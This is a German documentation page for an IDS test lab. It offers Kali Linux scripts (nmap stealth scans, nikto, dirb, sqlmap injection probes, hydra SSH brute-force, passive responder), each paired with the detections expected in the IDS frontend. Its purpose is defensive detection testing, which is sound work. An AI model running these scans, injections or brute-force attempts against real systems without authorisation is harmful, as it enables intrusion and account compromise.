Den Wächter angreifen, den Angreifer erkennen

CYJANKALI ist die offensive Test-Spielwiese für das Cyjan IDS. Hier sammeln wir Kali-Linux-Skripte, mit denen man das eigene IDS-Setup unter realistischer Last attackiert – und dazu jeweils, was im Frontend zu sehen sein sollte. Wenn die Detection ausbleibt, weißt du wo du nachjustieren musst.

Das Wortspiel ist Programm: Cyankali (Kaliumcyanid) ist das Gift, gegen das das System schützt. Kali Linux ist das Werkzeug, mit dem wir das Gift simulieren.

Lab-Setup

Topologie

Mindestens zwei VMs in einem isolierten Subnet:

Wer keinen physischen Switch mit SPAN-Port hat: in Proxmox/VMware den vSwitch auf Promiscuous stellen und das Mirror-Interface des IDS am gleichen vSwitch hängen lassen wie das Routing-Interface der Ziel-VM. Der Sniffer kapert dann den gesamten Bridge-Traffic.

Kali bereitstellen

Frisches Kali-Image holen und in die VM-Plattform deiner Wahl einspielen:

→ kali.org / get-kali

Empfehlung: die Pre-built Virtual Machines (.ova / .vmx) sparen einen kompletten Installer-Lauf. Default-Login kali / kali sofort ändern.

Test-Katalog

Jede Kategorie liefert ein Skript, das du auf der Kali-Box laufen lässt, plus die erwartete Reaktion im Cyjan-Frontend. Wenn der Alert ausbleibt → Anti-Pattern für eine Regel- oder ML-Modell-Verbesserung.

1. Reconnaissance · nmap-Scans

Verschiedene Stealth-Variants gegen die Ziel-VM. Gut um zu prüfen ob Sniffer-Drop-Pct sauber bleibt und ob Connection-Graph die Kali-IP als neuen Knoten markiert.

#!/usr/bin/env bash
TARGET=${1:-192.168.56.10}

echo "[+] SYN-Scan (Top 1000 Ports)"
sudo nmap -sS -T4 "$TARGET"

echo "[+] FIN-Scan (Stealth)"
sudo nmap -sF -T3 "$TARGET"

echo "[+] NULL-Scan"
sudo nmap -sN -T3 "$TARGET"

echo "[+] Xmas-Scan"
sudo nmap -sX -T3 "$TARGET"

echo "[+] Service- und OS-Detection"
sudo nmap -sV -O -A "$TARGET"
Erwartete IDS-Reaktion
  • Signature-Engine: port-scan-burst & fin-scan-stealth Alerts (Severity medium).
  • ML-Engine: Anomaly-Score auf der Flow-Aggregat-Ebene steigt; mehrere kurze Flows zur selben Source-IP.
  • Connection-Graph: Kali-IP wird zum Hub mit vielen ausgehenden Edges.

2. Web-Angriffe · sqlmap, nikto, dirb

Klassische Web-App-Probes gegen DVWA oder eine eigene Test-App. Der Mirror-Port sollte den HTTP-Request-Traffic mitbekommen.

#!/usr/bin/env bash
TARGET=${1:-http://192.168.56.10}

echo "[+] nikto: Misconfig + bekannte CVEs"
nikto -h "$TARGET" -Tuning 9

echo "[+] dirb: Default-Wordlist Brute-Force"
dirb "$TARGET" /usr/share/dirb/wordlists/common.txt -r

echo "[+] sqlmap: Injection-Probe gegen DVWA-Login"
sqlmap -u "$TARGET/login.php" \
       --data "username=admin&password=admin&Login=Login" \
       --batch --threads 4 --level 3
Erwartete IDS-Reaktion
  • Signature-Engine: sql-inject-tautology, web-bruteforce-paths Alerts (Severity high).
  • Suricata (falls aktiv): ET-WEB-Server-Rule-Hits.
  • Alert-Manager: Dedup-Window unterdrückt die nikto-Spam-Wave nach 300 s.

3. Brute-Force · hydra gegen SSH

Klassisches SSH-Login-Hammern gegen einen eigenen Lab-Account. Testet sowohl die Signature-Engine (Connection-Burst-Pattern) als auch die ML-Anomaly-Detection.

Die Wordlists sind bewusst Variablen — kopiere die Datei nicht ungeprüft mit rockyou.txt gegen einen produktiven Host. Lege dir für den Test einen separaten Lab-User mit kontrolliertem, definitiv erratbaren Passwort an, damit du den Treffer auch nachweisen kannst, ohne fremde Accounts zu verbrennen.

#!/usr/bin/env bash
TARGET=${1:-192.168.56.10}
USERLIST=${USERLIST:-/path/to/your-lab-userlist.txt}
PASSLIST=${PASSLIST:-/path/to/your-controlled-pwlist.txt}

echo "[+] hydra: SSH brute-force gegen Lab-Account"
hydra -L "$USERLIST" \
      -P "$PASSLIST" \
      -t 4 -e nsr \
      ssh://"$TARGET"
Erwartete IDS-Reaktion
  • Signature-Engine: ssh-bruteforce Alert nach > 10 Failed-Logins/min (Severity high).
  • ML-Engine: Flow-Inter-Arrival-Time-Entropie sinkt scharf, Anomaly-Score > 0.8.

4. MITM · responder im Analysis-Modus

Klassischer Windows-Lab-Angriff. Wir nutzen Analysis-Mode (-A): responder beobachtet LLMNR/NBT-Broadcasts und protokolliert sie, schreibt aber nichts aktiv ins Netz zurück. Reicht für die IDS-Detection völlig aus — der Sniffer sieht den Broadcast-Traffic ohnehin —, vermeidet aber das Spoofen fremder Hostnamen, was ein anderer rechtlicher Korridor wäre.

#!/usr/bin/env bash
# Passive Analysis-Only: responder loggt LLMNR/NBT-Queries, ohne sie zu
# beantworten. Aktiv-Spoofing (-wF) bewusst NICHT aufgeführt.
IFACE=${1:-eth0}

sudo responder -I "$IFACE" -A
Erwartete IDS-Reaktion
  • Signature-Engine: llmnr-broadcast-storm Alert (Severity medium).
  • Connection-Graph: Cluster broadcast-aktiver Hosts wird sichtbar; Kali-Box ist passiver Beobachter.

Weitere Kategorien (folgen)

  • DNS-Tunneling (dnscat2, iodine)
  • Slow-DoS (slowloris, hping3 --rand-source)
  • Metasploit-Module gegen typische Lab-Targets
  • BloodHound + impacket-Suite (Lateral Movement)
  • BurpSuite Active Scan gegen DVWA

Pull-Requests willkommen – Schema je Test ist Skript / erwartete Detection / Severity.

Verifikation im IDS-Frontend

Während du die Kali-Skripte fährst, parallel im Cyjan-Frontend (http://<mgmt-ip>/) auf folgende Stellen schauen:

UI-BereichWas du sehen solltest
Alert-Feed (Live) WebSocket-Push neuer Alerts in Echtzeit, Severity-Spalte korreliert mit Test-Kategorie.
Connection-Graph Kali-IP als neuer Hub-Knoten; bei nmap erscheint sie mit hoher Out-Degree-Zahl.
Threat-Level (Header) Der 15-Minuten-Score-Indikator wandert von grün → gelb → orange → rot, je nach Volumen und Severity.
PCAP-Download Pro Alert ein ±60 s-PCAP ladbar (sobald MinIO-Upload durch ist).
ML-Status Anomaly-Score-Histogramm bekommt einen rechten Tail während der Test-Sessions.

Ressourcen

Disclaimer

Die hier gesammelten Skripte sind für autorisierte Sicherheitstests im eigenen Lab gedacht. Der Einsatz gegen fremde Systeme ohne ausdrückliche schriftliche Erlaubnis des Eigentümers ist nach § 202c StGB (Vorbereitung des Ausspähens und Abfangens von Daten), § 303a StGB (Datenveränderung) und § 303b StGB (Computersabotage) strafbar. In den USA gilt 18 U.S.C. § 1030 (CFAA).

Keine Gewähr. Die Skripte werden „as-is" zu Bildungs- und Detection-Validation-Zwecken bereitgestellt — ohne Zusicherung von Funktion, Sicherheit oder rechtmäßiger Verwendung. Wer das CYJANKALI- Material gegen produktive Systeme richtet, tut das auf eigene Verantwortung; die Maintainer übernehmen für daraus resultierende Konsequenzen ausdrücklich keine Haftung.

Markenhinweis: Kali Linux ist eine eingetragene Marke der OffSec Services Limited. Dieses Projekt steht in keiner Verbindung zu Kali Linux, OffSec oder dem Kali-Linux-Team. Der Name „CYJANKALI" referenziert das chemische Gift Cyankali (Kaliumcyanid) — die Doppeldeutung mit „Kali" ist Wortspiel, keine Endorsement-Behauptung.